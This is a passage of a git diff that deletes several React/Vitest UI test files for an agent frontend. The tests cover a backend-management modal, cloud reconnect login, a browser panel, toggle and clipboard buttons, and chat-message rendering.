__resetActiveStoreForTests(); - __resetHealthStoreForTests(); -}); - -describe("ManageBackendsModal", () => { - it("renders a status dot in each row", async () => { - renderWithProviders(); - - expect( - await screen.findByTestId("manage-backends-modal"), - ).toBeInTheDocument(); - - // The seeded default Local backend row is present and has a status - // indicator alongside its name + host. - const dots = await screen.findAllByTestId("backend-status-dot"); - expect(dots.length).toBeGreaterThanOrEqual(1); - }); - - it("shows invalid API key status when the backend auth probe returns 401", async () => { - getSettingsMock.mockRejectedValue( - Object.assign(new Error("Unauthorized"), { - name: "HttpError", - status: 401, - }), - ); - - renderWithProviders(); - - const row = await screen.findByTestId("manage-backends-row-Local"); - await waitFor(() => - expect( - screen.getByTestId("manage-backends-status-Local"), - ).toHaveTextContent("BACKEND$STATUS_DISCONNECTED_CHECK_API_KEY"), - ); - expect( - row.querySelector('[data-testid="backend-status-dot"]'), - ).toHaveAttribute("data-status", "disconnected"); - }); - - it("shows disconnected for a reachable backend below the compatible version floor", async () => { - getServerInfoMock.mockResolvedValue({ version: "1.27.1" }); - - renderWithProviders(); - - expect( - await screen.findByTestId("manage-backends-version-Local"), - ).toBeInTheDocument(); - expect(getServerInfoMock).toHaveBeenCalled(); - await waitFor(() => - expect( - screen.getByTestId("manage-backends-status-Local"), - ).toHaveTextContent("ONBOARDING$BACKEND_STATUS_DISCONNECTED"), - ); - expect( - screen.getByTestId("manage-backends-status-detail-Local"), - ).toHaveTextContent("Agent Canvas requires agent-server 1.28.0 or newer"); - }); - - it("closes when the header close button is clicked", async () => { - const user = userEvent.setup(); - const onClose = vi.fn(); - renderWithProviders(); - - await user.click(await screen.findByTestId("close-manage-backends-modal")); - - expect(onClose).toHaveBeenCalledTimes(1); - }); - - it("opens the add-backend form when '+ Add backend' is clicked", async () => { - const user = userEvent.setup(); - renderWithProviders(); - - await user.click(screen.getByTestId("manage-backends-add")); - - expect(await screen.findByTestId("add-backend-modal")).toBeInTheDocument(); - }); - - it("re-checks a disabled backend on open and clears stale persisted health when it recovers", async () => { - window.localStorage.setItem( - BACKEND_HEALTH_STORAGE_KEY, - JSON.stringify({ - [SEEDED_DEFAULT_BACKEND_ID]: { - consecutiveFailures: MAX_CONSECUTIVE_FAILURES, - lastError: "Network Error", - lastFailureAt: Date.now(), - disabled: true, - }, - }), - ); - __resetHealthStoreForTests(); - - renderWithProviders(); - - await waitFor(() => { - expect( - window.localStorage.getItem(BACKEND_HEALTH_STORAGE_KEY), - ).toBeNull(); - }); - }); - - it("opens an edit form pre-filled with the row's backend, and persists changes via updateBackend", async () => { - // These tests exercise edit-form behavior, not lock behavior; isolate - // them from a local .env that sets VITE_LOCK_TO_CLOUD and would hide the - // pencil button this test depends on. - vi.stubEnv("VITE_LOCK_TO_CLOUD", ""); - delete (window as unknown as Record) - .__AGENT_CANVAS_LOCK_TO_CLOUD__; - - const user = userEvent.setup(); - - let backendId = ""; - renderWithProviders( - { - backendId = ctx.addBackend({ - name: "Acme Local", - host: "http://localhost:9000", - apiKey: "old-key", - kind: "local", - }).id; - }} - > - - , - ); - - await user.click( - await screen.findByTestId("manage-backends-edit-Acme Local"), - ); - - await screen.findByTestId("edit-backend-modal"); - const nameInput = screen.getByTestId( - "edit-backend-name", - ) as HTMLInputElement; - expect(nameInput.value).toBe("Acme Local"); - - // Update the host and save. - const hostInput = screen.getByTestId( - "edit-backend-host", - ) as HTMLInputElement; - await user.clear(hostInput); - await user.type(hostInput, "http://localhost:9999"); - - await user.click(screen.getByTestId("edit-backend-submit")); - - await waitFor(() => { - expect( - screen.queryByTestId("edit-backend-modal"), - ).not.toBeInTheDocument(); - }); - - // The list now reflects the new host and the original id is preserved. - const row = screen.getByTestId("manage-backends-row-Acme Local"); - expect(row.textContent).toContain("http://localhost:9999"); - expect(backendId).not.toBe(""); - }); - - it("preserves kind:cloud when renaming a cloud backend on a custom domain", async () => { - vi.stubEnv("VITE_LOCK_TO_CLOUD", ""); - delete (window as unknown as Record) - .__AGENT_CANVAS_LOCK_TO_CLOUD__; - - const user = userEvent.setup(); - - let backendId = ""; - renderWithProviders( - { - backendId = ctx.addBackend({ - name: "OHE Prod", - host: "https://app.company.com", - apiKey: "sk-oh-test", - kind: "cloud", - }).id; - }} - > - - , - ); - - await user.click( - await screen.findByTestId("manage-backends-edit-OHE Prod"), - ); - await screen.findByTestId("edit-backend-modal"); - - // Rename only -- host and kind are untouched - const nameInput = screen.getByTestId( - "edit-backend-name", - ) as HTMLInputElement; - await user.clear(nameInput); - await user.type(nameInput, "OHE Prod Renamed"); - - await user.click(screen.getByTestId("edit-backend-submit")); - - await waitFor(() => { - expect( - screen.queryByTestId("edit-backend-modal"), - ).not.toBeInTheDocument(); - }); - - const stored = JSON.parse( - window.localStorage.getItem("openhands-backends") ?? "[]", - ); - const updated = stored.find((b: { id: string }) => b.id === backendId); - expect(updated).toMatchObject({ - name: "OHE Prod Renamed", - kind: "cloud", - }); - }); - - it("closes the edit form when the header close button is clicked", async () => { - vi.stubEnv("VITE_LOCK_TO_CLOUD", ""); - delete (window as unknown as Record) - .__AGENT_CANVAS_LOCK_TO_CLOUD__; - - const user = userEvent.setup(); - - renderWithProviders( - { - ctx.addBackend({ - name: "Acme Local", - host: "http://localhost:9000", - apiKey: "old-key", - kind: "local", - }); - }} - > - - , - ); - - await user.click( - await screen.findByTestId("manage-backends-edit-Acme Local"), - ); - await screen.findByTestId("edit-backend-modal"); - - await user.click(screen.getByTestId("edit-backend-close")); - - await waitFor(() => { - expect( - screen.queryByTestId("edit-backend-modal"), - ).not.toBeInTheDocument(); - }); - expect(screen.getByTestId("manage-backends-modal")).toBeInTheDocument(); - }); - - it("shows each cloud backend's connected organization so same-named backends are distinguishable", async () => { - // Two cloud backends share the same name and host; each API key is bound - // to a different org, which is the only thing that tells them apart. - vi.mocked(getCloudOrganizations).mockResolvedValue({ - items: [ - { id: "org-acme", name: "Acme Inc" }, - { id: "org-beta", name: "Beta Co" }, - ], - currentOrgId: "org-acme", - }); - vi.mocked(getCurrentCloudApiKey).mockImplementation(async (backend) => ({ - orgId: backend?.apiKey === "key-acme" ? "org-acme" : "org-beta", - isLegacyKey: false, - })); - - renderWithProviders( - { - ctx.addBackend({ - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "key-acme", - kind: "cloud", - }); - ctx.addBackend({ - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "key-beta", - kind: "cloud", - }); - }} - > - - , - ); - - // Each otherwise-identical row now surfaces its own bound organization. - expect(await screen.findByText("Acme Inc")).toBeInTheDocument(); - expect(screen.getByText("Beta Co")).toBeInTheDocument(); - }); - - it("labels a cloud backend's personal workspace instead of showing its raw org name", async () => { - const personalOrgId = "0b93b5f2-5396-49f2-8d98-61f906184270"; - vi.mocked(getCloudOrganizations).mockResolvedValue({ - items: [{ id: personalOrgId, name: `user_${personalOrgId}_org` }], - currentOrgId: personalOrgId, - }); - vi.mocked(getCurrentCloudApiKey).mockResolvedValue({ - orgId: personalOrgId, - isLegacyKey: false, - }); - // /me reports user_id === org_id, so the bound org is the user's personal - // workspace and must render the friendly label, not the backend-side name. - vi.mocked(getCloudOrganizationMe).mockResolvedValue({ - orgId: personalOrgId, - userId: personalOrgId, - role: null, - }); - - renderWithProviders( - { - ctx.addBackend({ - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-key", - kind: "cloud", - }); - }} - > - - , - ); - - expect( - await screen.findByText("BACKEND$PERSONAL_WORKSPACE"), - ).toBeInTheDocument(); - expect( - screen.queryByText(`user_${personalOrgId}_org`), - ).not.toBeInTheDocument(); - }); - - it("does not render an organization line for a local backend", async () => { - renderWithProviders( - { - ctx.addBackend({ - name: "Acme Local", - host: "http://localhost:9000", - apiKey: "k", - kind: "local", - }); - }} - > - - , - ); - - expect( - await screen.findByTestId("manage-backends-row-Acme Local"), - ).toBeInTheDocument(); - expect( - screen.queryByTestId("manage-backends-org-Acme Local"), - ).not.toBeInTheDocument(); - }); - - it("captures backend_added with source manage_backends_modal when adding from here", async () => { - const user = userEvent.setup(); - renderWithProviders(); - - await user.click(await screen.findByTestId("manage-backends-add")); - await screen.findByTestId("add-backend-modal"); - - await user.type(screen.getByTestId("add-backend-name"), "Local Extra"); - await user.type( - screen.getByTestId("add-backend-host"), - "http://localhost:8000", - ); - await user.type(screen.getByTestId("add-backend-api-key"), "sk-local"); - await user.click(screen.getByTestId("add-backend-submit")); - - await waitFor(() => - expect(captureMock).toHaveBeenCalledWith( - "backend_added", - expect.objectContaining({ source: "manage_backends_modal" }), - ), - ); - }); - - it("does not capture backend_added when editing an existing backend", async () => { - const user = userEvent.setup(); - renderWithProviders( - { - ctx.addBackend({ - name: "Acme Local", - host: "http://localhost:9000", - apiKey: "old-key", - kind: "local", - }); - }} - > - - , - ); - - await user.click( - await screen.findByTestId("manage-backends-edit-Acme Local"), - ); - await screen.findByTestId("edit-backend-modal"); - const hostInput = screen.getByTestId("edit-backend-host"); - await user.clear(hostInput); - await user.type(hostInput, "http://localhost:9999"); - await user.click(screen.getByTestId("edit-backend-submit")); - - await waitFor(() => - expect( - screen.queryByTestId("edit-backend-modal"), - ).not.toBeInTheDocument(), - ); - expect(captureMock).not.toHaveBeenCalledWith( - "backend_added", - expect.anything(), - ); - }); - it("uses Cloud reconnect recovery controls when locked to Cloud", async () => { - vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev"); - const user = userEvent.setup(); - vi.spyOn(window, "open").mockReturnValue({ - closed: false, - close: vi.fn(), - location: { href: "" }, - } as unknown as Window); - - renderWithProviders( - { - ctx.addBackend({ - name: "OpenHands Cloud", - host: "https://app.all-hands.dev", - apiKey: "expired-token", - kind: "cloud", - }); - }} - > - - , - ); - - expect( - await screen.findByRole("heading", { - name: "BACKEND$RECONNECT_CLOUD_TITLE", - }), - ).toBeInTheDocument(); - expect(screen.queryByTestId("manage-backends-add")).not.toBeInTheDocument(); - - const reconnectButton = await screen.findByTestId( - "manage-backends-reconnect-cloud-login-button", - ); - expect(reconnectButton).toHaveTextContent("BACKEND$RECONNECT_CLOUD"); - - await user.click(reconnectButton); - expect(deviceFlowMocks.startDeviceFlow).toHaveBeenCalledWith( - "https://app.all-hands.dev", - ); - }); - - it("updates the locked Cloud backend token when reconnect succeeds", async () => { - vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev"); - deviceFlowMocks.pollForToken.mockResolvedValue({ - access_token: "fresh-cloud-token", - token_type: "Bearer", - }); - const user = userEvent.setup(); - vi.spyOn(window, "open").mockReturnValue({ - closed: false, - close: vi.fn(), - location: { href: "" }, - } as unknown as Window); - - renderWithProviders( - { - ctx.addBackend({ - name: "OpenHands Cloud", - host: "https://app.all-hands.dev", - apiKey: "expired-token", - kind: "cloud", - }); - }} - > - - , - ); - - await user.click( - await screen.findByTestId( - "manage-backends-reconnect-cloud-login-button", - ), - ); - - await waitFor(() => { - const stored = JSON.parse( - window.localStorage.getItem("openhands-backends") ?? "[]", - ); - expect(stored).toEqual( - expect.arrayContaining([ - expect.objectContaining({ - name: "OpenHands Cloud", - apiKey: "fresh-cloud-token", - }), - ]), - ); - }); - expect( - screen.queryByTestId("manage-backends-reconnect-cloud-auth-modal"), - ).not.toBeInTheDocument(); - }); - - it("keeps locked Cloud recovery open when reconnect authorization fails", async () => { - vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev"); - deviceFlowMocks.pollForToken.mockRejectedValue( - new Error("Authorization request was denied."), - ); - const user = userEvent.setup(); - vi.spyOn(window, "open").mockReturnValue({ - closed: false, - close: vi.fn(), - location: { href: "" }, - } as unknown as Window); - - renderWithProviders( - { - ctx.addBackend({ - name: "OpenHands Cloud", - host: "https://app.all-hands.dev", - apiKey: "expired-token", - kind: "cloud", - }); - }} - > - - , - ); - - await user.click( - await screen.findByTestId( - "manage-backends-reconnect-cloud-login-button", - ), - ); - - expect( - await screen.findByTestId("manage-backends-reconnect-cloud-auth-error"), - ).toHaveTextContent("Authorization request was denied."); - expect(screen.getByTestId("manage-backends-modal")).toBeInTheDocument(); - }); -}); - -function renderInQueryClient(ui: React.ReactElement) { - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - return render( - {ui}, - ); -} - -const cloudBackend: Backend = { - id: "backend-cloud", - name: "Acme Cloud", - host: "https://app.acme.com", - apiKey: "sk-test", - kind: "cloud", -}; - -// Focused coverage for the two components extracted out of this file. The -// ManageBackendsModal suite above already exercises them through the modal; -// these assert behavior unique to each extracted component, rendered without -// ActiveBackendProvider so no seeded-backend health probe interferes. -describe("BackendVersion", () => { - it("renders no version badge and skips the probe for a non-local backend", () => { - // The version probe is gated on `kind === "local"`, so a cloud backend - // never fetches or shows a version. - renderInQueryClient(); - - expect( - screen.queryByTestId(`manage-backends-version-${cloudBackend.name}`), - ).not.toBeInTheDocument(); - expect(getServerInfoMock).not.toHaveBeenCalled(); - }); -}); - -describe("BackendRow", () => { - it("disables row selection when the backend is not connected", () => { - renderInQueryClient( -
    - -
, - ); - - const row = screen.getByTestId(`manage-backends-row-${cloudBackend.name}`); - const selectButton = within(row) - .getByText(cloudBackend.name) - .closest("button"); - expect(selectButton).toBeDisabled(); - }); - - it("shows a logged-out cloud status with a log back in button", () => { - const onLogin = vi.fn(); - - renderInQueryClient( -
    - -
, - ); - - expect( - screen.getByTestId(`manage-backends-status-${cloudBackend.name}`), - ).toHaveTextContent("BACKEND$LOGGED_OUT"); - expect( - screen.queryByTestId( - `manage-backends-status-detail-${cloudBackend.name}`, - ), - ).not.toBeInTheDocument(); - const loginButton = screen.getByTestId( - `manage-backends-login-${cloudBackend.id}-login-button`, - ); - expect(loginButton).toHaveAccessibleName("BACKEND$LOG_BACK_IN"); - expect(loginButton).not.toHaveTextContent("BACKEND$LOG_BACK_IN"); - expect(loginButton.querySelector("svg")).toBeInTheDocument(); - expect(loginButton).toHaveClass("hover:bg-interactive-hover"); - expect(loginButton).not.toHaveClass("border"); - expect(loginButton).not.toHaveClass("bg-primary"); - }); - - it("shows device authorization in a modal instead of expanding the row", async () => { - const user = userEvent.setup(); - const popup = { - closed: false, - close: vi.fn(), - location: { href: "" }, - } as unknown as Window; - vi.spyOn(window, "open").mockReturnValue(popup); - - renderInQueryClient( -
    - -
, - ); - - const row = screen.getByTestId(`manage-backends-row-${cloudBackend.name}`); - await user.click( - screen.getByTestId( - `manage-backends-login-${cloudBackend.id}-login-button`, - ), - ); - - const modal = await screen.findByTestId( - `manage-backends-login-${cloudBackend.id}-auth-modal`, - ); - expect( - await within(modal).findByTestId( - `manage-backends-login-${cloudBackend.id}-auth-awaiting`, - ), - ).toBeInTheDocument(); - expect( - within(row).queryByTestId( - `manage-backends-login-${cloudBackend.id}-auth-awaiting`, - ), - ).not.toBeInTheDocument(); - expect(deviceFlowMocks.startDeviceFlow).toHaveBeenCalledWith( - cloudBackend.host, - ); - }); - - it("renders edit and remove buttons when the deployment is not locked to a cloud host", async () => { - // The repo's .env may set VITE_LOCK_TO_CLOUD; clear it explicitly so this - // test exercises the unlocked code path regardless of local env state. - vi.stubEnv("VITE_LOCK_TO_CLOUD", ""); - delete (window as unknown as Record) - .__AGENT_CANVAS_LOCK_TO_CLOUD__; - - const user = userEvent.setup(); - const onEdit = vi.fn(); - const onRemove = vi.fn(); - - renderInQueryClient( -
    - -
, - ); - - const row = screen.getByTestId(`manage-backends-row-${cloudBackend.name}`); - const editButton = within(row).getByTestId( - `manage-backends-edit-${cloudBackend.name}`, - ); - const removeButton = within(row).getByTestId( - `manage-backends-remove-${cloudBackend.name}`, - ); - - expect(editButton).toHaveAccessibleName("BACKEND$EDIT"); - expect(removeButton).toHaveAccessibleName("BACKEND$REMOVE"); - - await user.click(editButton); - await user.click(removeButton); - expect(onEdit).toHaveBeenCalledTimes(1); - expect(onRemove).toHaveBeenCalledTimes(1); - }); - - it("hides edit and remove buttons when locked to a cloud host via VITE_LOCK_TO_CLOUD", () => { - vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://cloud.example.com"); - const onEdit = vi.fn(); - const onRemove = vi.fn(); - - renderInQueryClient( -
    - -
, - ); - - const row = screen.getByTestId(`manage-backends-row-${cloudBackend.name}`); - expect( - within(row).queryByTestId(`manage-backends-edit-${cloudBackend.name}`), - ).not.toBeInTheDocument(); - expect( - within(row).queryByTestId(`manage-backends-remove-${cloudBackend.name}`), - ).not.toBeInTheDocument(); - }); - - it("hides edit and remove buttons when locked to a cloud host via window.__AGENT_CANVAS_LOCK_TO_CLOUD__", () => { - ( - window as unknown as Record - ).__AGENT_CANVAS_LOCK_TO_CLOUD__ = "https://cloud.example.com"; - - renderInQueryClient( -
    - -
, - ); - - const row = screen.getByTestId(`manage-backends-row-${cloudBackend.name}`); - expect( - within(row).queryByTestId(`manage-backends-edit-${cloudBackend.name}`), - ).not.toBeInTheDocument(); - expect( - within(row).queryByTestId(`manage-backends-remove-${cloudBackend.name}`), - ).not.toBeInTheDocument(); - // Row identity (name + host) is still rendered so the user can see the - // locked backend is selected, just not mutate it. - expect(within(row).getByText(cloudBackend.name)).toBeInTheDocument(); - expect(within(row).getByText(cloudBackend.host)).toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/browser.test.tsx b/__tests__/components/browser.test.tsx deleted file mode 100644 index 9e2049867..000000000 --- a/__tests__/components/browser.test.tsx +++ /dev/null @@ -1,108 +0,0 @@ -import { describe, it, expect, afterEach, beforeEach, vi } from "vitest"; -import { screen, render } from "@testing-library/react"; -import React from "react"; - -// Mock modules before importing the component -vi.mock("#/hooks/use-conversation-id", () => ({ - useOptionalConversationId: () => ({ conversationId: "test-conversation-id" }), - useConversationId: () => ({ conversationId: "test-conversation-id" }), -})); - -vi.mock("#/context/conversation-context", () => ({ - useConversation: () => ({ conversationId: "test-conversation-id" }), - ConversationProvider: ({ children }: { children: React.ReactNode }) => - children, -})); - -vi.mock("react-i18next", async () => { - const actual = await vi.importActual("react-i18next"); - return { - ...(actual as object), - useTranslation: () => ({ - t: (key: string) => key, - i18n: { - changeLanguage: () => new Promise(() => {}), - }, - }), - }; -}); - -import { BrowserPanel } from "#/components/features/browser/browser"; -import { useBrowserStore } from "#/stores/browser-store"; - -describe("Browser", () => { - beforeEach(() => { - useBrowserStore.getState().reset(); - }); - - afterEach(() => { - useBrowserStore.getState().reset(); - vi.clearAllMocks(); - }); - - it("renders a message if no screenshotSrc is provided", () => { - useBrowserStore.setState({ - url: "https://example.com", - screenshotSrc: "", - }); - - render(); - - expect(screen.getByText("BROWSER$NO_PAGE_LOADED")).toBeInTheDocument(); - expect(screen.getByTestId("browser-chrome-bar")).toBeInTheDocument(); - expect(screen.getByTestId("browser-chrome-url")).toHaveTextContent( - "https://example.com", - ); - }); - - it("keeps the chrome bar height and disables open-in-new-tab when empty", () => { - useBrowserStore.setState({ - url: "", - screenshotSrc: "", - }); - - render(); - - expect(screen.getByTestId("browser-chrome-bar")).toHaveClass("min-h-[34px]"); - expect(screen.getByTestId("browser-chrome-url")).toHaveTextContent( - "BROWSER$URL_PLACEHOLDER", - ); - expect( - screen.queryByRole("button", { name: "BUTTON$BACK" }), - ).not.toBeInTheDocument(); - expect( - screen.getByRole("button", { name: "BUTTON$OPEN_IN_NEW_TAB" }), - ).toBeDisabled(); - }); - - it("renders the url and a screenshot", () => { - useBrowserStore.setState({ - url: "https://example.com", - screenshotSrc: - "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mN0uGvyHwAFCAJS091fQwAAAABJRU5ErkJggg==", - }); - - render(); - - expect(screen.getByTestId("browser-chrome-url")).toHaveTextContent( - "https://example.com", - ); - expect(screen.getByAltText("BROWSER$SCREENSHOT_ALT")).toBeInTheDocument(); - }); - - it("does not clear a preloaded screenshot when the browser tab first mounts", () => { - const screenshotSrc = - "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mN0uGvyHwAFCAJS091fQwAAAABJRU5ErkJggg=="; - - useBrowserStore.setState({ - url: "https://example.com", - screenshotSrc, - }); - - render(); - - expect(useBrowserStore.getState().screenshotSrc).toBe(screenshotSrc); - expect(screen.getByAltText("BROWSER$SCREENSHOT_ALT")).toBeInTheDocument(); - expect(screen.queryByText("BROWSER$NO_PAGE_LOADED")).not.toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/buttons/circle-plus-check-toggle.test.tsx b/__tests__/components/buttons/circle-plus-check-toggle.test.tsx deleted file mode 100644 index 98fa27147..000000000 --- a/__tests__/components/buttons/circle-plus-check-toggle.test.tsx +++ /dev/null @@ -1,122 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { describe, expect, it, vi } from "vitest"; -import { - CirclePlusBadge, - CirclePlusCheckToggle, -} from "#/components/shared/buttons/circle-plus-check-toggle"; - -describe("CirclePlusBadge", () => { - it("renders a decorative plus with hover styles and tooltip", () => { - render( - , - ); - - const plusBadge = screen.getByTestId("automation-plus"); - expect(plusBadge.tagName).toBe("SPAN"); - expect(plusBadge).toHaveAttribute("aria-hidden", "true"); - expect(plusBadge.className).toContain("hover:bg-[var(--oh-interactive-hover)]"); - expect(plusBadge.className).not.toContain("group-hover/card"); - }); -}); - -describe("CirclePlusCheckToggle", () => { - it("toggles between plus and checkmark states", async () => { - const user = userEvent.setup(); - const onToggle = vi.fn(); - - const { rerender } = render( - , - ); - - const toggle = screen.getByTestId("skill-toggle"); - expect(toggle).toHaveAttribute("aria-checked", "false"); - expect(toggle).toHaveAttribute( - "aria-label", - "SETTINGS$SKILLS_ENABLE_SKILL", - ); - - await user.click(toggle); - expect(onToggle).toHaveBeenCalledWith(true); - - rerender( - , - ); - - expect(toggle).toHaveAttribute("aria-checked", "true"); - expect(toggle).toHaveAttribute( - "aria-label", - "SETTINGS$SKILLS_DISABLE_SKILL", - ); - - await user.click(toggle); - expect(onToggle).toHaveBeenCalledWith(false); - }); - - it("shows a remove icon on hover when selected", async () => { - const user = userEvent.setup(); - - render( - , - ); - - const toggle = screen.getByTestId("skill-toggle"); - expect(toggle).toHaveAttribute("data-showing-remove", "false"); - expect(toggle.className).toContain("border-white"); - expect(toggle.className).not.toContain("bg-white"); - - await user.hover(toggle); - expect(toggle).toHaveAttribute("data-showing-remove", "true"); - - await user.unhover(toggle); - expect(toggle).toHaveAttribute("data-showing-remove", "false"); - }); - - it("does not show remove styling for keyboard focus alone", () => { - render( - , - ); - - const toggle = screen.getByTestId("skill-toggle"); - toggle.focus(); - - expect(toggle).toHaveAttribute("data-showing-remove", "false"); - }); - - it("stops click propagation for nested card handlers", async () => { - const user = userEvent.setup(); - const onCardClick = vi.fn(); - const onToggle = vi.fn(); - - render( -
- -
, - ); - - await user.click(screen.getByTestId("skill-toggle")); - - expect(onToggle).toHaveBeenCalledWith(true); - expect(onCardClick).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/components/buttons/copy-to-clipboard.test.tsx b/__tests__/components/buttons/copy-to-clipboard.test.tsx deleted file mode 100644 index 5777f584d..000000000 --- a/__tests__/components/buttons/copy-to-clipboard.test.tsx +++ /dev/null @@ -1,40 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { test, expect, describe, vi } from "vitest"; -import { CopyToClipboardButton } from "#/components/shared/buttons/copy-to-clipboard-button"; - -// Mock react-i18next -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ - t: (key: string) => key, - }), -})); - -describe("CopyToClipboardButton", () => { - test("should have localized aria-label", () => { - render( - {}} - mode="copy" - /> - ); - - const button = screen.getByTestId("copy-to-clipboard"); - expect(button).toHaveAttribute("aria-label", "BUTTON$COPY"); - }); - - test("should have localized aria-label when copied", () => { - render( - {}} - mode="copied" - /> - ); - - const button = screen.getByTestId("copy-to-clipboard"); - expect(button).toHaveAttribute("aria-label", "BUTTON$COPIED"); - }); -}); diff --git a/__tests__/components/buttons/copyable-content-wrapper.test.tsx b/__tests__/components/buttons/copyable-content-wrapper.test.tsx deleted file mode 100644 index 7c7aaee48..000000000 --- a/__tests__/components/buttons/copyable-content-wrapper.test.tsx +++ /dev/null @@ -1,60 +0,0 @@ -import { render, screen, waitFor } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { describe, it, expect } from "vitest"; -import { CopyableContentWrapper } from "#/components/shared/buttons/copyable-content-wrapper"; - -describe("CopyableContentWrapper", () => { - it("should hide the copy button by default", () => { - render( - -

content

-
, - ); - - expect(screen.getByTestId("copy-to-clipboard")).not.toBeVisible(); - }); - - it("should show the copy button on hover", async () => { - const user = userEvent.setup(); - render( - -

content

-
, - ); - - await user.hover(screen.getByText("content")); - - expect(screen.getByTestId("copy-to-clipboard")).toBeVisible(); - }); - - it("should copy text to clipboard on click", async () => { - const user = userEvent.setup(); - render( - -

content

-
, - ); - - await user.click(screen.getByTestId("copy-to-clipboard")); - - await waitFor(() => - expect(navigator.clipboard.readText()).resolves.toBe("copy me"), - ); - }); - - it("should show copied state after clicking", async () => { - const user = userEvent.setup(); - render( - -

content

-
, - ); - - await user.click(screen.getByTestId("copy-to-clipboard")); - - expect(screen.getByTestId("copy-to-clipboard")).toHaveAttribute( - "aria-label", - "BUTTON$COPIED", - ); - }); -}); diff --git a/__tests__/components/chat-message.test.tsx b/__tests__/components/chat-message.test.tsx deleted file mode 100644 index 89177d8eb..000000000 --- a/__tests__/components/chat-message.test.tsx +++ /dev/null @@ -1,248 +0,0 @@ -import { render, screen, waitFor, fireEvent } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { describe, it, expect, vi } from "vitest"; -import util from "util"; -import { ChatMessage } from "#/components/features/chat/chat-message"; - -describe("ChatMessage", () => { - it("does not update the parent while measuring user-message truncation", async () => { - // Regression test for the React warning: - // "Cannot update a component (`ChatMessage`) while rendering a different - // component (`UserMessageBody`)" - // The bug: UserMessageBody notified the parent (ChatMessage's - // setIsTruncatable) from inside its own render-phase state updater, which - // updates the parent while the child is rendering. - // - // Two conditions are needed to make the warning observable here — they are - // present in a real browser but hidden by the default test setup: - // 1. A ResizeObserver that actually fires its callback. The shared mock's - // `observe` is a no-op, so truncation is only ever measured once and - // React's eager-state bailout swallows the render-phase update. - // 2. A measured height that changes between measurements. We model the - // realistic settling: the content overflows on first measure, then - // shrinks once `line-clamp` is applied. The second (render-phase) - // measurement therefore produces a real state transition, defeating - // the eager-state bailout so the buggy parent update actually runs. - class FiringResizeObserver { - private cb: ResizeObserverCallback; - - constructor(cb: ResizeObserverCallback) { - this.cb = cb; - } - - // The real ResizeObserver invokes the callback once shortly after observe. - observe = () => this.cb([], this as unknown as ResizeObserver); - - unobserve = () => {}; - - disconnect = () => {}; - } - - let measurements = 0; - const originalScrollHeight = Object.getOwnPropertyDescriptor( - HTMLElement.prototype, - "scrollHeight", - ); - Object.defineProperty(HTMLElement.prototype, "scrollHeight", { - configurable: true, - get() { - measurements += 1; - // Overflow on the first measure (truncatable), shrink afterwards. - return measurements <= 1 ? 1000 : 0; - }, - }); - - const previousResizeObserver = globalThis.ResizeObserver; - globalThis.ResizeObserver = - FiringResizeObserver as unknown as typeof ResizeObserver; - - const consoleError = vi - .spyOn(console, "error") - .mockImplementation(() => {}); - // No newlines and below the length threshold, so truncation depends only - // on the measured height rather than length / newline heuristics. - const message = "word ".repeat(20).trim(); - - try { - render(); - - await waitFor(() => { - expect(screen.getByTestId("user-message")).toBeInTheDocument(); - }); - - // Guard against the test becoming vacuous: truncation must have been - // measured more than once for the render-phase update to be reachable. - expect(measurements).toBeGreaterThan(1); - - const renderPhaseWarning = consoleError.mock.calls.find((args) => - util - .format(...(args as [unknown, ...unknown[]])) - .includes( - "Cannot update a component (`ChatMessage`) while rendering a different component (`UserMessageBody`)", - ), - ); - expect(renderPhaseWarning).toBeUndefined(); - } finally { - consoleError.mockRestore(); - globalThis.ResizeObserver = previousResizeObserver; - if (originalScrollHeight) { - Object.defineProperty( - HTMLElement.prototype, - "scrollHeight", - originalScrollHeight, - ); - } else { - // @ts-expect-error -- remove our override to restore the jsdom default - delete HTMLElement.prototype.scrollHeight; - } - } - }); - - it("should render a user message", () => { - render(); - expect(screen.getByTestId("user-message")).toBeInTheDocument(); - expect(screen.getByText("Hello, World!")).toBeInTheDocument(); - }); - - it("should support code syntax highlighting", () => { - const code = "```js\nconsole.log('Hello, World!')\n```"; - render(); - - // SyntaxHighlighter breaks the code blocks into "tokens" - expect(screen.getByText("console")).toBeInTheDocument(); - expect(screen.getByText("log")).toBeInTheDocument(); - expect(screen.getByText("'Hello, World!'")).toBeInTheDocument(); - }); - - it("should render the copy to clipboard button when the user hovers over the message", async () => { - const user = userEvent.setup(); - render(); - const message = screen.getByText("Hello, World!"); - - expect(screen.getByTestId("copy-to-clipboard")).not.toBeVisible(); - - await user.hover(message); - - expect(screen.getByTestId("copy-to-clipboard")).toBeVisible(); - }); - - it("should copy content to clipboard", async () => { - const user = userEvent.setup(); - render(); - const copyToClipboardButton = screen.getByTestId("copy-to-clipboard"); - - await user.click(copyToClipboardButton); - - await waitFor(() => - expect(navigator.clipboard.readText()).resolves.toBe("Hello, World!"), - ); - }); - - it("should render a component passed as a prop", () => { - function Component() { - return
Custom Component
